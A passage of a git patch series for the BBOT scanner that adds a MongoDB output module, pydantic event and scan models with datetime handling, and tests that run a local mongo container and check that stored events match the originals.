event_pydantic.uuid}) + if existing_scan: + # Merge logic here, for example, update the existing scan with new data + updated_scan = {**existing_scan, **event_pydantic.model_dump()} + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 39b4e6f00e..42f5494555 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -3,7 +3,7 @@ from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession -from bbot.db.sql.models import Event, Scan, Target +from bbot.models.sql import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py new file mode 100644 index 0000000000..4e003f6f57 --- /dev/null +++ b/bbot/test/test_step_1/test_db_models.py @@ -0,0 +1,29 @@ +from bbot.models.pydantic import Event +from ..bbot_fixtures import * # noqa + + +def test_pydantic_models(events): + + test_event = Event(**events.ipv4.json()) + assert sorted(test_event._indexed_fields()) == [ + "host", + "id", + "module", + "parent", + "parent_uuid", + "reverse_host", + "scan", + "timestamp", + "type", + "uuid", + ] + + # events + for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + e = getattr(events, event) + event_json = e.json() + event_pydantic = Event(**event_json) + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + + +# TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py new file mode 100644 index 0000000000..10a8655e81 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -0,0 +1,81 @@ +from .base import ModuleTestBase + + +class TestMongo(ModuleTestBase): + test_db_name = "bbot_test" + test_collection_name = "events_test" + config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + + async def setup_before_module(self): + from motor.motor_asyncio import AsyncIOMotorClient + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # Check that there are no events in the collection + count = await collection.count_documents({}) + assert count == 0, "There are existing events in the database" + + # Close the MongoDB connection + client.close() + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + from motor.motor_asyncio import AsyncIOMotorClient + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # make sure the collection has all the right indexes + cursor = collection.list_indexes() + indexes = await cursor.to_list(length=None) + for field in Event._indexed_fields(): + assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + + # Fetch all events from the collection + cursor = collection.find({}) + db_events = await cursor.to_list(length=None) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Compare the sorted lists + assert len(events_json) == len(db_events_pydantic) + # Events don't match exactly because the mongo ones have reverse_host + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the collection + await collection.delete_many({}) + # Close the MongoDB connection + client.close() From 3f7be0b1972f1a2d7aaae0b7322cf0563bc27f24 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 18:39:37 -0500 Subject: [PATCH 051/912] more wip mongo --- bbot/models/helpers.py | 6 ++++- bbot/models/pydantic.py | 31 +++++++++++++++++-------- bbot/modules/output/mongo.py | 19 +++++++-------- bbot/test/test_step_1/test_db_models.py | 8 +++++++ 4 files changed, 43 insertions(+), 21 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 40e127c53b..985c845994 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -3,7 +3,7 @@ from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime): +def naive_datetime_validator(d: datetime) -> datetime: """ Converts all dates into UTC, then drops timezone information. @@ -13,4 +13,8 @@ def naive_datetime_validator(d: datetime): return d.replace(tzinfo=None) +def naive_utc_now() -> datetime: + return naive_datetime_validator(datetime.now()) + + NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0d54cc91b7..fe179878e7 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -2,9 +2,9 @@ import logging from datetime import datetime from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer +from pydantic import BaseModel, ConfigDict, field_serializer, Field -from bbot.models.helpers import NaiveUTC, naive_datetime_validator +from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,8 +12,18 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, **kwargs): - return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + def to_json(self, preserve_datetime=False): + ret = self.model_dump() + if preserve_datetime: + for key in ret: + val = getattr(self, key, None) + if isinstance(val, datetime): + ret[key] = val + return ret + + def to_json_string(self, preserve_datetime=False, **kwargs): + kwargs['sort_keys'] = True + return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) def __hash__(self): return hash(self.to_json()) @@ -21,6 +31,12 @@ def __hash__(self): def __eq__(self, other): return hash(self) == hash(other) + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + ### EVENT ### @@ -42,6 +58,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[NaiveUTC, "indexed"] + inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -62,12 +79,6 @@ def _get_data(data, type): return data[type] return data - @classmethod - def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) - @field_serializer("timestamp") def serialize_timestamp(self, timestamp: datetime, _info): return naive_datetime_validator(timestamp).isoformat() diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index dd4efa47ce..bb92d19d8a 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -1,6 +1,6 @@ from motor.motor_asyncio import AsyncIOMotorClient -from bbot.models.pydantic import Event +from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule @@ -42,9 +42,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event._indexed_fields(): - await self.collection.create_index([(field, 1)]) - self.verbose(f"Index created for field: {field}") + for field in Event.model_fields: + if "indexed" in field.metadata: + unique = "unique" in field.metadata + await self.collection.create_index([(field, 1)], unique=unique) + self.verbose(f"Index created for field: {field}") return True @@ -52,17 +54,14 @@ async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": - # here we merge the scan with the one sharing its UUID. + scan_json = Scan.from_event(event).model_dump() existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) if existing_scan: - # Merge logic here, for example, update the existing scan with new data - updated_scan = {**existing_scan, **event_pydantic.model_dump()} - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") - - diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 4e003f6f57..1ba970f0e7 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,3 +1,5 @@ +from datetime import datetime + from bbot.models.pydantic import Event from ..bbot_fixtures import * # noqa @@ -23,6 +25,12 @@ def test_pydantic_models(events): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) + event_pydantic_dict = event_pydantic.to_json() + event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + assert isinstance(event_pydantic_dict["timestamp"], str) + assert isinstance(event_pydantic_dict["inserted_at"], str) + assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) + assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json From f0b20dad0ff4359ca845d14f2590f2d8376b2ded Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 20:08:24 -0500 Subject: [PATCH 052/912] more mongo wip --- bbot/models/pydantic.py | 66 ++++++++------- bbot/modules/output/mongo.py | 34 ++++---- bbot/test/test_step_1/test_db_models.py | 14 +++- .../module_tests/test_module_mongo.py | 81 +++++++++++++++---- 4 files changed, 133 insertions(+), 62 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index fe179878e7..906801693a 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,10 +1,9 @@ -import json import logging from datetime import datetime -from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer, Field +from pydantic import BaseModel, ConfigDict, Field +from typing import Optional, List, Union, Annotated, get_type_hints -from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now +from bbot.models.helpers import NaiveUTC, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,19 +11,14 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, preserve_datetime=False): - ret = self.model_dump() - if preserve_datetime: - for key in ret: - val = getattr(self, key, None) - if isinstance(val, datetime): - ret[key] = val + def model_dump(self, preserve_datetime=False, **kwargs): + ret = super().model_dump(**kwargs) + if not preserve_datetime: + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].isoformat() return ret - def to_json_string(self, preserve_datetime=False, **kwargs): - kwargs['sort_keys'] = True - return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) - def __hash__(self): return hash(self.to_json()) @@ -33,13 +27,37 @@ def __eq__(self, other): @classmethod def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) + return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) + + @classmethod + def _get_type_hints(cls): + """ + Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + """ + type_hints = get_type_hints(cls) + unwrapped_type_hints = {} + for field_name in cls.model_fields: + type_hint = type_hints[field_name] + while 1: + if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + type_hint = type_hint.__args__[0] + else: + break + unwrapped_type_hints[field_name] = type_hint + return unwrapped_type_hints + + @classmethod + def _datetime_fields(cls): + datetime_fields = [] + for field_name, type_hint in cls._get_type_hints().items(): + if type_hint == datetime: + datetime_fields.append(field_name) + return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -73,19 +91,10 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] - @staticmethod - def _get_data(data, type): - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data - - @field_serializer("timestamp") - def serialize_timestamp(self, timestamp: datetime, _info): - return naive_datetime_validator(timestamp).isoformat() - ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -109,6 +118,7 @@ def from_scan(cls, scan): ### TARGET ### + class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bb92d19d8a..bc323d7ad9 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -14,18 +14,24 @@ class Mongo(BaseOutputModule): options = { "uri": "mongodb://localhost:27017", "database": "bbot", + "username": "", + "password": "", "collection_prefix": "", } options_desc = { "uri": "The URI of the MongoDB server", "database": "The name of the database to use", + "username": "The username to use to connect to the database", + "password": "The password to use to connect to the database", "collection_prefix": "Prefix each collection with this string", } deps_pip = ["motor~=3.6.0"] async def setup(self): self.uri = self.config.get("uri", "mongodb://localhost:27017") - self.db_client = AsyncIOMotorClient(self.uri) + self.username = self.config.get("username", "") + self.password = self.config.get("password", "") + self.db_client = AsyncIOMotorClient(self.uri, username=self.username, password=self.password) # Ping the server to confirm a successful connection try: @@ -42,11 +48,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event.model_fields: + for field_name, field in Event.model_fields.items(): if "indexed" in field.metadata: unique = "unique" in field.metadata - await self.collection.create_index([(field, 1)], unique=unique) - self.verbose(f"Index created for field: {field}") + await self.events_collection.create_index([(field_name, 1)], unique=unique) + self.verbose(f"Index created for field: {field_name} (unique={unique})") return True @@ -55,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - else: - # Insert as a new scan if no existing scan is found - await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + # if event.type == "SCAN": + # scan_json = Scan.from_event(event).model_dump() + # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + # if existing_scan: + # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + # else: + # # Insert as a new scan if no existing scan is found + # await self.scans_collection.insert_one(event_pydantic.model_dump()) + # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 1ba970f0e7..5a6fce547c 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -6,6 +6,8 @@ def test_pydantic_models(events): + assert Event._datetime_fields() == ["inserted_at", "timestamp"] + test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ "host", @@ -20,18 +22,22 @@ def test_pydantic_models(events): "uuid", ] - # events + # convert events to pydantic and back, making sure they're exactly the same for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) - event_pydantic_dict = event_pydantic.to_json() - event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + event_pydantic_dict = event_pydantic.model_dump() + event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) + assert isinstance(event_json["timestamp"], str) + assert isinstance(e.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, datetime) + assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], str) assert isinstance(event_pydantic_dict["inserted_at"], str) assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json # TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 10a8655e81..839e46156e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,21 +1,58 @@ +import time +import asyncio + from .base import ModuleTestBase class TestMongo(ModuleTestBase): test_db_name = "bbot_test" - test_collection_name = "events_test" - config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + test_collection_prefix = "test_" + config_overrides = { + "modules": { + "mongo": { + "database": test_db_name, + "username": "bbot", + "password": "bbotislife", + "collection_prefix": test_collection_prefix, + } + } + } + + async def setup_before_prep(self, module_test): + + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-mongo", + "--rm", + "-e", + "MONGO_INITDB_ROOT_USERNAME=bbot", + "-e", + "MONGO_INITDB_ROOT_PASSWORD=bbotislife", + "-p", + "27017:27017", + "-d", + "mongo", + ) - async def setup_before_module(self): from motor.motor_asyncio import AsyncIOMotorClient - # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") - db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + # Connect to the MongoDB collection with retry logic + while True: + try: + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + db = client[self.test_db_name] + events_collection = db.get_collection(self.test_collection_prefix + "events") + # Attempt a simple operation to confirm the connection + await events_collection.count_documents({}) + break # Exit the loop if connection is successful + except Exception as e: + print(f"Connection failed: {e}. Retrying in 5 seconds...") + time.sleep(0.5) # Check that there are no events in the collection - count = await collection.count_documents({}) + count = await events_collection.count_documents({}) assert count == 0, "There are existing events in the database" # Close the MongoDB connection @@ -30,20 +67,30 @@ async def check(self, module_test, events): events_json.sort(key=lambda x: x["timestamp"]) # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017") + client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") db = client[self.test_db_name] - collection = db.get_collection(self.test_collection_name) + events_collection = db.get_collection(self.test_collection_prefix + "events") # make sure the collection has all the right indexes - cursor = collection.list_indexes() + cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) for field in Event._indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" # Fetch all events from the collection - cursor = collection.find({}) + cursor = events_collection.find({}) db_events = await cursor.to_list(length=None) + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + # we currently don't store timestamps as datetime objects because mongodb has lower precision + # assert isinstance(db_event["timestamp"], datetime) + # assert isinstance(db_event["inserted_at"], datetime) + assert isinstance(db_event["timestamp"], str) + assert isinstance(db_event["inserted_at"], str) + # Convert to Pydantic objects and dump them db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] db_events_pydantic.sort(key=lambda x: x["timestamp"]) @@ -65,17 +112,19 @@ async def check(self, module_test, events): main_event.get("reverse_host") == expected_reverse_host ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" - # Compare the sorted lists - assert len(events_json) == len(db_events_pydantic) - # Events don't match exactly because the mongo ones have reverse_host + # Events don't match exactly because the mongo ones have reverse_host and inserted_at assert events_json != db_events_pydantic for db_event in db_events_pydantic: db_event.pop("reverse_host") + db_event.pop("inserted_at") # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" finally: # Clean up: Delete all documents in the collection - await collection.delete_many({}) + await events_collection.delete_many({}) # Close the MongoDB connection client.close() + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From f34987618e0593e33e32ff6d375e190d3b373def Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 20 Nov 2024 11:54:12 -0500 Subject: [PATCH 053/912] skip distro tests --- bbot/test/test_step_2/module_tests/test_module_mongo.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 839e46156e..31e7f70747 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -17,6 +17,7 @@ class TestMongo(ModuleTestBase): } } } + skip_distro_tests = True async def setup_before_prep(self, module_test): @@ -48,7 +49,7 @@ async def setup_before_prep(self, module_test): await events_collection.count_documents({}) break # Exit the loop if connection is successful except Exception as e: - print(f"Connection failed: {e}. Retrying in 5 seconds...") + print(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Check that there are no events in the collection From 2a5809ce66864606ea63d3ac1c84dfaad870ab82 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 10:35:12 -0500 Subject: [PATCH 054/912] more wip mongo --- bbot/core/event/base.py | 8 ++++++-- bbot/models/pydantic.py | 10 +++++----- bbot/modules/output/mongo.py | 20 ++++++++++---------- bbot/test/bbot_fixtures.py | 14 +++++++------- bbot/test/test_step_1/test_db_models.py | 9 +++------ bbot/test/test_step_1/test_events.py | 6 +++--- 6 files changed, 34 insertions(+), 33 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 0d56e96e30..a0b0d50e8a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -803,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -1770,7 +1770,11 @@ def event_from_json(j, siem_friendly=False): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = set(resolved_hosts) - event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) + # accept both isoformat and unix timestamp + try: + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"]) + except Exception: + event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] parent_id = j.get("parent", None) if parent_id is not None: diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 906801693a..388d85f05f 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -11,12 +11,12 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def model_dump(self, preserve_datetime=False, **kwargs): + def model_dump(self, **kwargs): ret = super().model_dump(**kwargs) - if not preserve_datetime: - for datetime_field in self._datetime_fields(): - if datetime_field in ret: - ret[datetime_field] = ret[datetime_field].isoformat() + # convert datetime fields to unix timestamps + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].timestamp() return ret def __hash__(self): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bc323d7ad9..03185b169c 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -61,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - # if event.type == "SCAN": - # scan_json = Scan.from_event(event).model_dump() - # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - # if existing_scan: - # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - # else: - # # Insert as a new scan if no existing scan is found - # await self.scans_collection.insert_one(event_pydantic.model_dump()) - # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + if event.type == "SCAN": + scan_json = Scan.from_event(event).model_dump() + existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + if existing_scan: + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index be4e2b92bf..58038d860b 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -@pytest.fixture(scope="session", autouse=True) -def install_all_python_deps(): - deps_pip = set() - for module in DEFAULT_PRESET.module_loader.preloaded().values(): - deps_pip.update(set(module.get("deps", {}).get("pip", []))) +# @pytest.fixture(scope="session", autouse=True) +# def install_all_python_deps(): +# deps_pip = set() +# for module in DEFAULT_PRESET.module_loader.preloaded().values(): +# deps_pip.update(set(module.get("deps", {}).get("pip", []))) - constraint_file = tempwordlist(get_python_constraints()) +# constraint_file = tempwordlist(get_python_constraints()) - subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) +# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 5a6fce547c..d29e7e79a8 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -28,15 +28,12 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_pydantic_dict_datetime = event_pydantic.model_dump(preserve_datetime=True) - assert isinstance(event_json["timestamp"], str) + assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json - assert isinstance(event_pydantic_dict["timestamp"], str) - assert isinstance(event_pydantic_dict["inserted_at"], str) - assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) - assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) + assert isinstance(event_pydantic_dict["timestamp"], float) + assert isinstance(event_pydantic_dict["inserted_at"], float) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 39be4d704b..a8769cf3ba 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.isoformat() + timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) @@ -515,7 +515,7 @@ async def test_events(events, helpers): assert reconstituted_event.uuid == db_event.uuid assert reconstituted_event.parent_uuid == scan.root_event.uuid assert reconstituted_event.scope_distance == 1 - assert reconstituted_event.timestamp.isoformat() == timestamp + assert reconstituted_event.timestamp.timestamp() == timestamp assert reconstituted_event.data == "evilcorp.com:80" assert reconstituted_event.type == "OPEN_TCP_PORT" assert reconstituted_event.host == "evilcorp.com" @@ -538,7 +538,7 @@ async def test_events(events, helpers): assert json_event_siemfriendly["timestamp"] == timestamp reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.isoformat() == timestamp + assert reconstituted_event2.timestamp.timestamp() == timestamp assert reconstituted_event2.data == "evilcorp.com:80" assert reconstituted_event2.type == "OPEN_TCP_PORT" assert reconstituted_event2.host == "evilcorp.com" From 2c1c021fc52afceeba3b5e2be569f86935117d6c Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 10:27:45 -0500 Subject: [PATCH 055/912] fix conflict --- bbot/core/event/base.py | 18 +++++++--------- bbot/models/pydantic.py | 14 ++++++++----- bbot/models/sql.py | 21 +++++++------------ bbot/modules/output/http.py | 5 +---- bbot/modules/output/json.py | 6 ++---- bbot/modules/output/mongo.py | 8 +++++++ bbot/test/test_step_1/test_events.py | 21 +++++-------------- .../module_tests/test_module_http.py | 9 -------- .../module_tests/test_module_json.py | 15 ------------- .../module_tests/test_module_mongo.py | 20 +++++++++++++----- docs/scanning/tips_and_tricks.md | 18 ---------------- 11 files changed, 55 insertions(+), 100 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index a0b0d50e8a..89d8474116 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -756,7 +756,7 @@ def __contains__(self, other): return bool(radixtarget.search(other.host)) return False - def json(self, mode="json", siem_friendly=False): + def json(self, mode="json"): """ Serializes the event object to a JSON-compatible dictionary. @@ -765,7 +765,6 @@ def json(self, mode="json", siem_friendly=False): Parameters: mode (str): Specifies the data serialization mode. Default is "json". Other options include "graph", "human", and "id". - siem_friendly (bool): Whether to format the JSON in a way that's friendly to SIEM ingestion by Elastic, Splunk, etc. This ensures the value of "data" is always the same type (a dictionary). Returns: dict: JSON-serializable dictionary representation of the event object. @@ -782,10 +781,12 @@ def json(self, mode="json", 